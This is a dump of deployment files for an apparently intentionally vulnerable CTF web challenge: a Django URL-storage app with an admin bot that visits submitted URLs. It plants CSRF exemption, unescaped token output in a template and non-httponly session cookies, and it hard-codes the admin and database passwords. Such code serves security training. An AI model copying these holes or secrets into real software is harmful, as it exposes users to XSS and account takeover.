| ('created_at', models.DateTimeField(auto_now_add=True)), 36 | ('user', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, related_name='profile', to=settings.AUTH_USER_MODEL)), 37 | ], 38 | ), 39 | ] 40 | -------------------------------------------------------------------------------- /XSS/34c3-2017-urlstorage/deploy/app/urlstorage/migrations/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shimmeris/CTF-Web-Challenges/ba741a2d18bd624b420e3b69874eed337578f91f/XSS/34c3-2017-urlstorage/deploy/app/urlstorage/migrations/__init__.py -------------------------------------------------------------------------------- /XSS/34c3-2017-urlstorage/deploy/app/urlstorage/models.py: -------------------------------------------------------------------------------- 1 | from django.db import models 2 | from django.contrib.auth.models import User 3 | from django.dispatch import receiver 4 | from django.db.models.signals import post_save 5 | from django.core import validators 6 | from django import forms 7 | from captcha.fields import CaptchaField 8 | 9 | 10 | class UserProfile(models.Model): 11 | user = models.OneToOneField(User, related_name='profile', on_delete=models.CASCADE) 12 | token = models.TextField() 13 | url = models.TextField(default='https://shiamotivate.me') 14 | created_at = models.DateTimeField(auto_now_add=True) 15 | 16 | @receiver(post_save, sender=User) 17 | def create_user_profile(sender, instance, created, **kwargs): 18 | if created: 19 | UserProfile.objects.create(user=instance) 20 | 21 | @receiver(post_save, sender=User) 22 | def save_user_profile(sender, instance, **kwargs): 23 | instance.profile.save() 24 | 25 | class Feedback(models.Model): 26 | url = models.TextField() 27 | visited = models.BooleanField(default=False) 28 | duration = models.IntegerField(default=5) 29 | created_at = models.DateTimeField(auto_now_add=True) 30 | from captcha.fields import CaptchaField 31 | 32 | class CaptchaTestForm(forms.Form): 33 | captcha = CaptchaField() 34 | 35 | -------------------------------------------------------------------------------- /XSS/34c3-2017-urlstorage/deploy/app/urlstorage/settings.py: -------------------------------------------------------------------------------- 1 | """ 2 | Django settings for urlstorage project. 3 | 4 | Generated by 'django-admin startproject' using Django 1.11.2. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/1.11/topics/settings/ 8 | 9 | For the full list of settings and their values, see 10 | https://docs.djangoproject.com/en/1.11/ref/settings/ 11 | """ 12 | 13 | import os 14 | 15 | # Build paths inside the project like this: os.path.join(BASE_DIR, ...) 16 | BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) 17 | 18 | 19 | # Quick-start development settings - unsuitable for production 20 | # See https://docs.djangoproject.com/en/1.11/howto/deployment/checklist/ 21 | 22 | # SECURITY WARNING: keep the secret key used in production secret! 23 | SECRET_KEY = 'gng1509x%20xa&hvf@dg=g&)6u&2e*vnwqgo-1f%_u3r#)0u#4' 24 | 25 | # SECURITY WARNING: don't run with debug turned on in production! 26 | DEBUG = False 27 | 28 | ALLOWED_HOSTS = ['*'] 29 | 30 | 31 | # Application definition 32 | 33 | INSTALLED_APPS = [ 34 | 'django.contrib.admin', 35 | 'django.contrib.auth', 36 | 'django.contrib.contenttypes', 37 | 'django.contrib.sessions', 38 | 'django.contrib.messages', 39 | 'django.contrib.staticfiles', 40 | 'urlstorage', 41 | 'captcha', 42 | 'gunicorn', 43 | ] 44 | 45 | MIDDLEWARE = [ 46 | 'django.middleware.security.SecurityMiddleware', 47 | 'django.contrib.sessions.middleware.SessionMiddleware', 48 | 'django.middleware.common.CommonMiddleware', 49 | 'django.middleware.csrf.CsrfViewMiddleware', 50 | 'django.contrib.auth.middleware.AuthenticationMiddleware', 51 | 'django.contrib.messages.middleware.MessageMiddleware', 52 | 'django.middleware.clickjacking.XFrameOptionsMiddleware', 53 | 'urlstorage.middleware.SecHeadersMiddleware', 54 | ] 55 | 56 | ROOT_URLCONF = 'urlstorage.urls' 57 | 58 | TEMPLATES = [ 59 | { 60 | 'BACKEND': 'django.template.backends.django.DjangoTemplates', 61 | 'DIRS': [], 62 | 'APP_DIRS': True, 63 | 'OPTIONS': { 64 | 'context_processors': [ 65 | 'django.template.context_processors.debug', 66 | 'django.template.context_processors.request', 67 | 'django.contrib.auth.context_processors.auth', 68 | 'django.contrib.messages.context_processors.messages', 69 | ], 70 | }, 71 | }, 72 | ] 73 | 74 | WSGI_APPLICATION = 'urlstorage.wsgi.application' 75 | CAPTCHA_CHALLENGE_FUNCT = 'captcha.helpers.math_challenge' 76 | 77 | # Database 78 | # https://docs.djangoproject.com/en/1.11/ref/settings/#databases 79 | 80 | print("Using MySQL backend") 81 | DATABASES = { 82 | 'default': { 83 | 'ENGINE': 'django.db.backends.mysql', 84 | 'NAME': 'urlstorage', 85 | 'USER': 'django', 86 | 'PASSWORD': 'shiaisthebest', 87 | 'HOST': 'localhost', 88 | 'PORT': '', 89 | } 90 | } 91 | 92 | 93 | 94 | # Password validation 95 | # https://docs.djangoproject.com/en/1.11/ref/settings/#auth-password-validators 96 | 97 | AUTH_PASSWORD_VALIDATORS = [ 98 | { 99 | 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', 100 | }, 101 | { 102 | 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', 103 | }, 104 | { 105 | 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', 106 | }, 107 | { 108 | 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', 109 | }, 110 | ] 111 | 112 | 113 | # Internationalization 114 | # https://docs.djangoproject.com/en/1.11/topics/i18n/ 115 | 116 | LANGUAGE_CODE = 'en-us' 117 | 118 | TIME_ZONE = 'UTC' 119 | 120 | USE_I18N = True 121 | 122 | USE_L10N = True 123 | 124 | USE_TZ = True 125 | 126 | LOGIN_REDIRECT_URL = 'index' 127 | LOGIN_URL = 'login' 128 | # Static files (CSS, JavaScript, Images) 129 | # https://docs.djangoproject.com/en/1.11/howto/static-files/ 130 | 131 | STATIC_URL = '/static/' 132 | -------------------------------------------------------------------------------- /XSS/34c3-2017-urlstorage/deploy/app/urlstorage/static/css/milligram.min.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * Milligram v1.3.0 3 | * https://milligram.github.io 4 | * 5 | * Copyright (c) 2017 CJ Patoilo 6 | * Licensed under the MIT license 7 | */ 8 | 9 | *,*:after,*:before{box-sizing:inherit}html{box-sizing:border-box;font-size:62.5%}body{color:#606c76;font-family:'Roboto', 'Helvetica Neue', 'Helvetica', 'Arial', sans-serif;font-size:1.6em;font-weight:300;letter-spacing:.01em;line-height:1.6}blockquote{border-left:0.3rem solid #d1d1d1;margin-left:0;margin-right:0;padding:1rem 1.5rem}blockquote *:last-child{margin-bottom:0}.button,button,input[type='button'],input[type='reset'],input[type='submit']{background-color:#9b4dca;border:0.1rem solid #9b4dca;border-radius:.4rem;color:#fff;cursor:pointer;display:inline-block;font-size:1.1rem;font-weight:700;height:3.8rem;letter-spacing:.1rem;line-height:3.8rem;padding:0 3.0rem;text-align:center;text-decoration:none;text-transform:uppercase;white-space:nowrap}.button:focus,.button:hover,button:focus,button:hover,input[type='button']:focus,input[type='button']:hover,input[type='reset']:focus,input[type='reset']:hover,input[type='submit']:focus,input[type='submit']:hover{background-color:#606c76;border-color:#606c76;color:#fff;outline:0}.button[disabled],button[disabled],input[type='button'][disabled],input[type='reset'][disabled],input[type='submit'][disabled]{cursor:default;opacity:.5}.button[disabled]:focus,.button[disabled]:hover,button[disabled]:focus,button[disabled]:hover,input[type='button'][disabled]:focus,input[type='button'][disabled]:hover,input[type='reset'][disabled]:focus,input[type='reset'][disabled]:hover,input[type='submit'][disabled]:focus,input[type='submit'][disabled]:hover{background-color:#9b4dca;border-color:#9b4dca}.button.button-outline,button.button-outline,input[type='button'].button-outline,input[type='reset'].button-outline,input[type='submit'].button-outline{background-color:transparent;color:#9b4dca}.button.button-outline:focus,.button.button-outline:hover,button.button-outline:focus,button.button-outline:hover,input[type='button'].button-outline:focus,input[type='button'].button-outline:hover,input[type='reset'].button-outline:focus,input[type='reset'].button-outline:hover,input[type='submit'].button-outline:focus,input[type='submit'].button-outline:hover{background-color:transparent;border-color:#606c76;color:#606c76}.button.button-outline[disabled]:focus,.button.button-outline[disabled]:hover,button.button-outline[disabled]:focus,button.button-outline[disabled]:hover,input[type='button'].button-outline[disabled]:focus,input[type='button'].button-outline[disabled]:hover,input[type='reset'].button-outline[disabled]:focus,input[type='reset'].button-outline[disabled]:hover,input[type='submit'].button-outline[disabled]:focus,input[type='submit'].button-outline[disabled]:hover{border-color:inherit;color:#9b4dca}.button.button-clear,button.button-clear,input[type='button'].button-clear,input[type='reset'].button-clear,input[type='submit'].button-clear{background-color:transparent;border-color:transparent;color:#9b4dca}.button.button-clear:focus,.button.button-clear:hover,button.button-clear:focus,button.button-clear:hover,input[type='button'].button-clear:focus,input[type='button'].button-clear:hover,input[type='reset'].button-clear:focus,input[type='reset'].button-clear:hover,input[type='submit'].button-clear:focus,input[type='submit'].button-clear:hover{background-color:transparent;border-color:transparent;color:#606c76}.button.button-clear[disabled]:focus,.button.button-clear[disabled]:hover,button.button-clear[disabled]:focus,button.button-clear[disabled]:hover,input[type='button'].button-clear[disabled]:focus,input[type='button'].button-clear[disabled]:hover,input[type='reset'].button-clear[disabled]:focus,input[type='reset'].button-clear[disabled]:hover,input[type='submit'].button-clear[disabled]:focus,input[type='submit'].button-clear[disabled]:hover{color:#9b4dca}code{background:#f4f5f6;border-radius:.4rem;font-size:86%;margin:0 .2rem;padding:.2rem .5rem;white-space:nowrap}pre{background:#f4f5f6;border-left:0.3rem solid #9b4dca;overflow-y:hidden}pre>code{border-radius:0;display:block;padding:1rem 1.5rem;white-space:pre}hr{border:0;border-top:0.1rem solid #f4f5f6;margin:3.0rem 0}input[type='email'],input[type='number'],input[type='password'],input[type='search'],input[type='tel'],input[type='text'],input[type='url'],textarea,select{-webkit-appearance:none;-moz-appearance:none;appearance:none;background-color:transparent;border:0.1rem solid #d1d1d1;border-radius:.4rem;box-shadow:none;box-sizing:inherit;height:3.8rem;padding:.6rem 1.0rem;width:100%}input[type='email']:focus,input[type='number']:focus,input[type='password']:focus,input[type='search']:focus,input[type='tel']:focus,input[type='text']:focus,input[type='url']:focus,textarea:focus,select:focus{border-color:#9b4dca;outline:0}select{background:url('data:image/svg+xml;utf8,') center right no-repeat;padding-right:3.0rem}select:focus{background-image:url('data:image/svg+xml;utf8,')}textarea{min-height:6.5rem}label,legend{display:block;font-size:1.6rem;font-weight:700;margin-bottom:.5rem}fieldset{border-width:0;padding:0}input[type='checkbox'],input[type='radio']{display:inline}.label-inline{display:inline-block;font-weight:normal;margin-left:.5rem}.container{margin:0 auto;max-width:112.0rem;padding:0 2.0rem;position:relative;width:100%}.row{display:flex;flex-direction:column;padding:0;width:100%}.row.row-no-padding{padding:0}.row.row-no-padding>.column{padding:0}.row.row-wrap{flex-wrap:wrap}.row.row-top{align-items:flex-start}.row.row-bottom{align-items:flex-end}.row.row-center{align-items:center}.row.row-stretch{align-items:stretch}.row.row-baseline{align-items:baseline}.row .column{display:block;flex:1 1 auto;margin-left:0;max-width:100%;width:100%}.row .column.column-offset-10{margin-left:10%}.row .column.column-offset-20{margin-left:20%}.row .column.column-offset-25{margin-left:25%}.row .column.column-offset-33,.row .column.column-offset-34{margin-left:33.3333%}.row .column.column-offset-50{margin-left:50%}.row .column.column-offset-66,.row .column.column-offset-67{margin-left:66.6666%}.row .column.column-offset-75{margin-left:75%}.row .column.column-offset-80{margin-left:80%}.row .column.column-offset-90{margin-left:90%}.row .column.column-10{flex:0 0 10%;max-width:10%}.row .column.column-20{flex:0 0 20%;max-width:20%}.row .column.column-25{flex:0 0 25%;max-width:25%}.row .column.column-33,.row .column.column-34{flex:0 0 33.3333%;max-width:33.3333%}.row .column.column-40{flex:0 0 40%;max-width:40%}.row .column.column-50{flex:0 0 50%;max-width:50%}.row .column.column-60{flex:0 0 60%;max-width:60%}.row .column.column-66,.row .column.column-67{flex:0 0 66.6666%;max-width:66.6666%}.row .column.column-75{flex:0 0 75%;max-width:75%}.row .column.column-80{flex:0 0 80%;max-width:80%}.row .column.column-90{flex:0 0 90%;max-width:90%}.row .column .column-top{align-self:flex-start}.row .column .column-bottom{align-self:flex-end}.row .column .column-center{-ms-grid-row-align:center;align-self:center}@media (min-width: 40rem){.row{flex-direction:row;margin-left:-1.0rem;width:calc(100% + 2.0rem)}.row .column{margin-bottom:inherit;padding:0 1.0rem}}a{color:#9b4dca;text-decoration:none}a:focus,a:hover{color:#606c76}dl,ol,ul{list-style:none;margin-top:0;padding-left:0}dl dl,dl ol,dl ul,ol dl,ol ol,ol ul,ul dl,ul ol,ul ul{font-size:90%;margin:1.5rem 0 1.5rem 3.0rem}ol{list-style:decimal inside}ul{list-style:circle inside}.button,button,dd,dt,li{margin-bottom:1.0rem}fieldset,input,select,textarea{margin-bottom:1.5rem}blockquote,dl,figure,form,ol,p,pre,table,ul{margin-bottom:2.5rem}table{border-spacing:0;width:100%}td,th{border-bottom:0.1rem solid #e1e1e1;padding:1.2rem 1.5rem;text-align:left}td:first-child,th:first-child{padding-left:0}td:last-child,th:last-child{padding-right:0}b,strong{font-weight:bold}p{margin-top:0}h1,h2,h3,h4,h5,h6{font-weight:300;letter-spacing:-.1rem;margin-bottom:2.0rem;margin-top:0}h1{font-size:4.6rem;line-height:1.2}h2{font-size:3.6rem;line-height:1.25}h3{font-size:2.8rem;line-height:1.3}h4{font-size:2.2rem;letter-spacing:-.08rem;line-height:1.35}h5{font-size:1.8rem;letter-spacing:-.05rem;line-height:1.5}h6{font-size:1.6rem;letter-spacing:0;line-height:1.4}img{max-width:100%}.clearfix:after{clear:both;content:' ';display:table}.float-left{float:left}.float-right{float:right} 10 | 11 | /*# sourceMappingURL=milligram.min.css.map */ -------------------------------------------------------------------------------- /XSS/34c3-2017-urlstorage/deploy/app/urlstorage/static/pow.py: -------------------------------------------------------------------------------- 1 | import sys, random, string, struct 2 | from hashlib import sha256 3 | 4 | PROOF_OF_WORK_HARDNESS = 2**24 5 | 6 | def proof_of_work_okay(task, solution): 7 | h = sha256(task.encode('ASCII') + struct.pack(' 2 | 3 | 4 | 5 | {% block title %}{% endblock %} 6 | 7 | 8 | 9 | 10 | {% if messages %} 11 |
12 | {% for message in messages %} 13 | {{message.tags}} {{ message }} 14 | {% endfor %} 15 |
16 |
17 | {% endif %} 18 | {% block content %} 19 | {% endblock %} 20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /XSS/34c3-2017-urlstorage/deploy/app/urlstorage/templates/contact.html: -------------------------------------------------------------------------------- 1 | {% extends 'base.html' %} 2 | {% block title %}URL Storage - Contact admin{% endblock %} 3 | 4 | {% block content %} 5 |

Customer satisfaction is one of the admin's top priorities!

6 |
7 |
8 |
9 | 10 | 11 | 12 | 13 | {% csrf_token %} 14 | {{ captcha.as_p }} 15 |

The admin's time is very limited, so he can only spare 3 seconds per report.

16 |
17 | (Optional: if you want the admin to look for a longer period at your report, solve this proof of work please!) 18 | 19 | 20 | 21 | Back 22 |
23 |
24 | 25 | {% endblock %} 26 | 27 | 28 | -------------------------------------------------------------------------------- /XSS/34c3-2017-urlstorage/deploy/app/urlstorage/templates/flag.html: -------------------------------------------------------------------------------- 1 | {% extends 'base.html' %} 2 | 3 | {% block title %}URL Storage - Flag for token {{ user_token|safe }}{% endblock %} 4 | 5 | {% block content %} 6 | {% if not valid_token %} 7 |

That is not your token!

8 | {% else %} 9 |

Hello {{ user.get_username }},

10 | 11 | 12 | {% if user.get_username == 'admin' %} 13 | 14 | {% else %} 15 | 16 | {% endif %} 17 | 18 | 19 | {% if user.get_username == 'admin' %} 20 | 21 | {% else %} 22 | 23 |
If you believe we have labeled you incorrectly as a non-admin user, 24 | contact us here.
25 | Back 26 | {% endif %} 27 | {% endif %} 28 | 29 | 30 | 31 | 32 | {% endblock %} 33 | -------------------------------------------------------------------------------- /XSS/34c3-2017-urlstorage/deploy/app/urlstorage/templates/index.html: -------------------------------------------------------------------------------- 1 | {% extends 'base.html' %} 2 | 3 | {% block title %}URL Storage{% endblock %} 4 | 5 | {% block content %} 6 |

Store your URL for free

7 | 8 | 9 |
10 | 11 | 12 | 13 | Get Flag 14 | Logout 15 |
16 | {% endblock %} 17 | -------------------------------------------------------------------------------- /XSS/34c3-2017-urlstorage/deploy/app/urlstorage/templates/login.html: -------------------------------------------------------------------------------- 1 | {% extends 'base.html' %} 2 | 3 | {% block title %}URL Storage - Signup/Login{% endblock %} 4 | 5 | {% block content %} 6 | {% if form.errors %} 7 | {% for field in form %} 8 | {% for error in field.errors %} 9 |
10 | {{ field.name }}: {{ error|escape }} 11 |
12 | {% endfor %} 13 | {% endfor %} 14 | {% endif %} 15 |
16 |
17 | 18 | 19 | 20 | 21 | {% csrf_token %} 22 | 23 |
24 |
25 | {% endblock %} 26 | -------------------------------------------------------------------------------- /XSS/34c3-2017-urlstorage/deploy/app/urlstorage/urls.py: -------------------------------------------------------------------------------- 1 | """urlstorage URL Configuration 2 | 3 | The `urlpatterns` list routes URLs to views. For more information please see: 4 | https://docs.djangoproject.com/en/1.11/topics/http/urls/ 5 | Examples: 6 | Function views 7 | 1. Add an import: from my_app import views 8 | 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home') 9 | Class-based views 10 | 1. Add an import: from other_app.views import Home 11 | 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home') 12 | Including another URLconf 13 | 1. Import the include() function: from django.conf.urls import url, include 14 | 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls')) 15 | """ 16 | from django.conf.urls import url, include 17 | from django.contrib import admin 18 | from django.contrib.staticfiles.urls import staticfiles_urlpatterns 19 | from . import views 20 | 21 | urlpatterns = [ 22 | url(r'^captcha/', include('captcha.urls')), 23 | ] 24 | urlpatterns += [ 25 | url(r'^$', views.login, name='login'), 26 | url(r'^urlstorage', views.index, name='index'), 27 | url(r'^flag$', views.flag, name='flag'), 28 | url(r'^contact$', views.contact, name='contact'), 29 | url(r'^contact/queue$', views.contact_queue, name='queue'), 30 | url(r'^logout$', views.logout, name='logout'), 31 | url(r'^.*$', views.notfound, name='notfound'), 32 | ] 33 | urlpatterns += staticfiles_urlpatterns() 34 | -------------------------------------------------------------------------------- /XSS/34c3-2017-urlstorage/deploy/app/urlstorage/views.py: -------------------------------------------------------------------------------- 1 | import os 2 | import random 3 | import string 4 | import hashlib 5 | import binascii 6 | import struct 7 | 8 | import django.contrib.auth.views as auth_views 9 | from django.core.validators import URLValidator 10 | from django.core.exceptions import ValidationError 11 | from django.db import transaction 12 | from django.http import HttpResponse, HttpResponseServerError 13 | from django.contrib.auth.models import User 14 | from django.contrib.auth.decorators import login_required 15 | from django.shortcuts import redirect, render 16 | from django.contrib import auth 17 | from django.contrib.auth.forms import UserCreationForm, AuthenticationForm 18 | from django.contrib import messages 19 | from django.views.decorators.csrf import csrf_exempt 20 | 21 | from .models import * 22 | 23 | PROOF_OF_WORK_HARDNESS = 13371337 24 | 25 | def proof_of_work_okay(chall, solution): 26 | hardness, chall = chall.split("_") 27 | h = hashlib.sha256(chall.encode('ASCII') + struct.pack('{} URLs in the queue for the admin.".format(cnt)) 88 | 89 | @login_required 90 | def logout(req): 91 | auth.logout(req) 92 | return redirect("index") 93 | 94 | 95 | @login_required 96 | def flag(req): 97 | user_token = req.GET.get("token") 98 | if not user_token: 99 | messages.add_message(req, messages.ERROR, 'no token provided') 100 | return redirect('index') 101 | user_flag = "34C3_"+hashlib.sha1("foqweqdzq%s".format(user_token).encode("utf-8")).hexdigest() 102 | return render(req, 'flag.html', dict(user=req.user, 103 | valid_token=user_token.startswith(req.user.profile.token), 104 | user_flag=user_flag, 105 | user_token=user_token[:64],)) 106 | 107 | def login(req): 108 | if req.user.is_authenticated: 109 | return redirect('index') 110 | 111 | if req.method == "POST": 112 | username = req.POST.get("username") 113 | password = req.POST.get("password") 114 | if not username or not password: 115 | messages.add_message(req, messages.ERROR, 'No username/password provided') 116 | elif len(password) < 8: 117 | messages.add_message(req, messages.ERROR, 'Password length min 8.') 118 | else: 119 | user, created = User.objects.get_or_create(username=username) 120 | if created: 121 | user.set_password(password) 122 | user.save() 123 | user = auth.authenticate(username=username, password=password) 124 | if user: 125 | user.profile.token = binascii.hexlify(os.urandom(16)).decode() 126 | user.save() 127 | auth.login(req, user) 128 | return redirect('index') 129 | else: 130 | messages.add_message(req, messages.ERROR, 'Invalid password') 131 | 132 | return render(req, 'login.html') 133 | return render(req, 'login.html') 134 | 135 | @login_required 136 | @csrf_exempt 137 | def index(req): 138 | if req.method == 'POST': 139 | url = req.POST.get('url') 140 | if url: 141 | req.user.profile.url = url 142 | req.user.save() 143 | 144 | return render(req, 'index.html', dict(user=req.user)) 145 | -------------------------------------------------------------------------------- /XSS/34c3-2017-urlstorage/deploy/app/urlstorage/wsgi.py: -------------------------------------------------------------------------------- 1 | """ 2 | WSGI config for urlstorage project. 3 | 4 | It exposes the WSGI callable as a module-level variable named ``application``. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/1.11/howto/deployment/wsgi/ 8 | """ 9 | 10 | import os 11 | 12 | from django.core.wsgi import get_wsgi_application 13 | 14 | os.environ.setdefault("DJANGO_SETTINGS_MODULE", "urlstorage.settings") 15 | 16 | application = get_wsgi_application() 17 | -------------------------------------------------------------------------------- /XSS/34c3-2017-urlstorage/deploy/db.sql: -------------------------------------------------------------------------------- 1 | CREATE DATABASE IF NOT EXISTS `urlstorage` CHARACTER SET UTF8; 2 | 3 | CREATE USER django@localhost IDENTIFIED BY 'shiaisthebest'; 4 | CREATE USER xss@localhost IDENTIFIED BY 'shiaisthebest'; 5 | 6 | GRANT ALL PRIVILEGES ON urlstorage.* TO django@localhost; 7 | GRANT ALL PRIVILEGES ON urlstorage.urlstorage_feedback TO xss@localhost; 8 | 9 | FLUSH PRIVILEGES; 10 | 11 | -------------------------------------------------------------------------------- /XSS/34c3-2017-urlstorage/deploy/mysqld.cnf: -------------------------------------------------------------------------------- 1 | # 2 | # The MySQL database server configuration file. 3 | # 4 | # You can copy this to one of: 5 | # - "/etc/mysql/my.cnf" to set global options, 6 | # - "~/.my.cnf" to set user-specific options. 7 | # 8 | # One can use all long options that the program supports. 9 | # Run program with --help to get a list of available options and with 10 | # --print-defaults to see which it would actually understand and use. 11 | # 12 | # For explanations see 13 | # http://dev.mysql.com/doc/mysql/en/server-system-variables.html 14 | 15 | # This will be passed to all mysql clients 16 | # It has been reported that passwords should be enclosed with ticks/quotes 17 | # escpecially if they contain "#" chars... 18 | # Remember to edit /etc/mysql/debian.cnf when changing the socket location. 19 | 20 | # Here is entries for some specific programs 21 | # The following values assume you have at least 32M ram 22 | 23 | [mysqld_safe] 24 | socket = /var/run/mysqld/mysqld.sock 25 | nice = 0 26 | 27 | [mysqld] 28 | # 29 | # * Basic Settings 30 | # 31 | user = mysql 32 | pid-file = /var/run/mysqld/mysqld.pid 33 | socket = /var/run/mysqld/mysqld.sock 34 | port = 3306 35 | basedir = /usr 36 | datadir = /var/lib/mysql 37 | tmpdir = /tmp 38 | lc-messages-dir = /usr/share/mysql 39 | skip-external-locking 40 | # 41 | # Instead of skip-networking the default is now to listen only on 42 | # localhost which is more compatible and is not less secure. 43 | bind-address = 127.0.0.1 44 | # 45 | # * Fine Tuning 46 | # 47 | max_execution_time = 100 48 | key_buffer_size = 16M 49 | max_allowed_packet = 16M 50 | thread_stack = 192K 51 | thread_cache_size = 8 52 | # This replaces the startup script and checks MyISAM tables if needed 53 | # the first time they are touched 54 | myisam-recover-options = BACKUP 55 | #max_connections = 100 56 | #table_cache = 64 57 | #thread_concurrency = 10 58 | # 59 | # * Query Cache Configuration 60 | # 61 | query_cache_limit = 1M 62 | query_cache_size = 16M 63 | # 64 | # * Logging and Replication 65 | # 66 | # Both location gets rotated by the cronjob. 67 | # Be aware that this log type is a performance killer. 68 | # As of 5.1 you can enable the log at runtime! 69 | #general_log_file = /var/log/mysql/mysql.log 70 | #general_log = 1 71 | # 72 | # Error log - should be very few entries. 73 | # 74 | log_error = /var/log/mysql/error.log 75 | # 76 | # Here you can see queries with especially long duration 77 | #log_slow_queries = /var/log/mysql/mysql-slow.log 78 | #long_query_time = 2 79 | #log-queries-not-using-indexes 80 | # 81 | # The following can be used as easy to replay backup logs or for replication. 82 | # note: if you are setting up a replication slave, see README.Debian about 83 | # other settings you may need to change. 84 | #server-id = 1 85 | #log_bin = /var/log/mysql/mysql-bin.log 86 | expire_logs_days = 10 87 | max_binlog_size = 100M 88 | #binlog_do_db = include_database_name 89 | #binlog_ignore_db = include_database_name 90 | # 91 | # * InnoDB 92 | # 93 | # InnoDB is enabled by default with a 10MB datafile in /var/lib/mysql/. 94 | # Read the manual for more InnoDB related options. There are many! 95 | # 96 | # * Security Features 97 | # 98 | # Read the manual, too, if you want chroot! 99 | # chroot = /var/lib/mysql/ 100 | # 101 | # For generating SSL certificates I recommend the OpenSSL GUI "tinyca". 102 | # 103 | # ssl-ca=/etc/mysql/cacert.pem 104 | # ssl-cert=/etc/mysql/server-cert.pem 105 | # ssl-key=/etc/mysql/server-key.pem 106 | -------------------------------------------------------------------------------- /XSS/34c3-2017-urlstorage/deploy/nginx/default: -------------------------------------------------------------------------------- 1 | server { 2 | listen 80; 3 | access_log /var/log/nginx/access.log; 4 | 5 | location /static { 6 | alias /app/urlstorage/static/; 7 | } 8 | 9 | location / { 10 | proxy_pass http://127.0.0.1:8000; 11 | proxy_set_header Host $host; 12 | proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; 13 | } 14 | } -------------------------------------------------------------------------------- /XSS/34c3-2017-urlstorage/deploy/scripts/run_bot.py: -------------------------------------------------------------------------------- 1 | import MySQLdb 2 | import time 3 | import os 4 | import signal 5 | import requests 6 | from subprocess import check_output, Popen 7 | 8 | 9 | def login1(): 10 | url = 'http://127.0.0.1/' 11 | user = 'admin' 12 | pw = 'JJOIUQjouwqhirhq329pP!!!1sdqqweck1' 13 | 14 | s = requests.Session() 15 | s.get(url) 16 | token = s.cookies['csrftoken'] 17 | s.post(url, data=dict( 18 | username=user, 19 | password=pw, 20 | csrfmiddlewaretoken=token)) 21 | 22 | # reset admin urls 23 | s.post(url + 'urlstorage', data=dict( 24 | url='https://shiamotivate.me')) 25 | return s.cookies['sessionid'] 26 | 27 | db = MySQLdb.connect(user='xss', password='shiaisthebest', db='urlstorage') 28 | c = db.cursor() 29 | 30 | while True: 31 | c.execute('COMMIT') 32 | c.execute('SELECT id, url, duration FROM urlstorage_feedback WHERE not visited ORDER BY created_at ASC LIMIT 1') 33 | feedback = c.fetchone() 34 | 35 | if feedback is None: 36 | time.sleep(1) 37 | continue 38 | id, url, duration = feedback 39 | 40 | c.execute('COMMIT') 41 | c.execute('UPDATE urlstorage_feedback SET visited = 1 WHERE id = %s', (id,)) 42 | c.execute('COMMIT') 43 | 44 | if not url.startswith('http://') or url.startswith('https://'): 45 | print('Invalid scheme for URL {}'.format(url)) 46 | continue 47 | 48 | print('Processing URL {}'.format(url)) 49 | sessionid = login1() 50 | p = Popen(['phantomjs', '/xss/visit.js', url, sessionid, str(duration)], preexec_fn=os.setsid) 51 | pgid = os.getpgid(p.pid) 52 | 53 | try: 54 | p.communicate() 55 | except: 56 | print('p.communicate failed') 57 | 58 | try: 59 | os.killpg(pgid, signal.SIGKILL) 60 | except: 61 | print('os.killpg failed') 62 | 63 | print('Done processing URL {}'.format(url)) 64 | 65 | 66 | -------------------------------------------------------------------------------- /XSS/34c3-2017-urlstorage/deploy/scripts/run_bot.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | while true; 3 | do 4 | su xss-man -c 'python3 /xss/run_bot.py' 5 | sleep 1; 6 | done 7 | -------------------------------------------------------------------------------- /XSS/34c3-2017-urlstorage/deploy/scripts/visit.js: -------------------------------------------------------------------------------- 1 | var system = require('system'); 2 | var page = require('webpage').create(); 3 | var timeout = 5000; 4 | 5 | if (system.args.length !== 4) { 6 | console.log('args: url sessionid timeout'); 7 | phantom.exit(1); 8 | } else { 9 | url = system.args[1]; 10 | session = system.args[2]; 11 | to = system.args[3]; 12 | } 13 | 14 | phantom.addCookie({ 15 | 'name': 'sessionid', 16 | 'value': session, 17 | 'domain': '127.0.0.1', 18 | 'path': '/', 19 | 'httponly': false 20 | }); 21 | 22 | phantom.addCookie({ 23 | 'name': 'sessionid', 24 | 'value': session, 25 | 'domain': 'localhost', 26 | 'path': '/', 27 | 'httponly': false 28 | }); 29 | 30 | phantom.addCookie({ 31 | 'name': 'sessionid', 32 | 'value': session, 33 | 'domain': '35.198.114.228', 34 | 'path': '/', 35 | 'httponly': false 36 | }); 37 | 38 | page.onNavigationRequested = function(url, type, willNavigate, main) { 39 | console.log("[phantom][URL] URL="+url); 40 | //console.log(page.content); 41 | //console.log("[SESSION] sessionid="+session); 42 | }; 43 | 44 | page.onResourceRequested = function(requestData, networkRequest) { 45 | console.log("[phantom][Resource requested] URL="+requestData.url); 46 | //console.log("Resource requested: "+JSON.stringify(requestData)); 47 | }; 48 | 49 | page.onResourceReceived = function(response) { 50 | //console.log('Response (#' + response.id + ', stage "' + response.stage + '"): ' + JSON.stringify(response)); 51 | }; 52 | 53 | page.onConsoleMessage = function(msg) { 54 | console.log(msg); 55 | }; 56 | 57 | 58 | page.settings.resourceTimeout = timeout; 59 | page.onResourceTimeout = function(e) { 60 | setTimeout(function(){ 61 | console.log("[phantom][INFO] Timeout") 62 | phantom.exit(); 63 | }, to * 1000); 64 | }; 65 | 66 | 67 | page.open(url, function(status) { 68 | console.log("[phantom][INFO] rendered page"); 69 | //console.log(page.content); 70 | //console.log("\n\n\n\n"); 71 | setTimeout(function(){ 72 | phantom.exit(); 73 | }, to * 1000); 74 | }); 75 | -------------------------------------------------------------------------------- /XSS/34c3-2017-urlstorage/deploy/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | service nginx 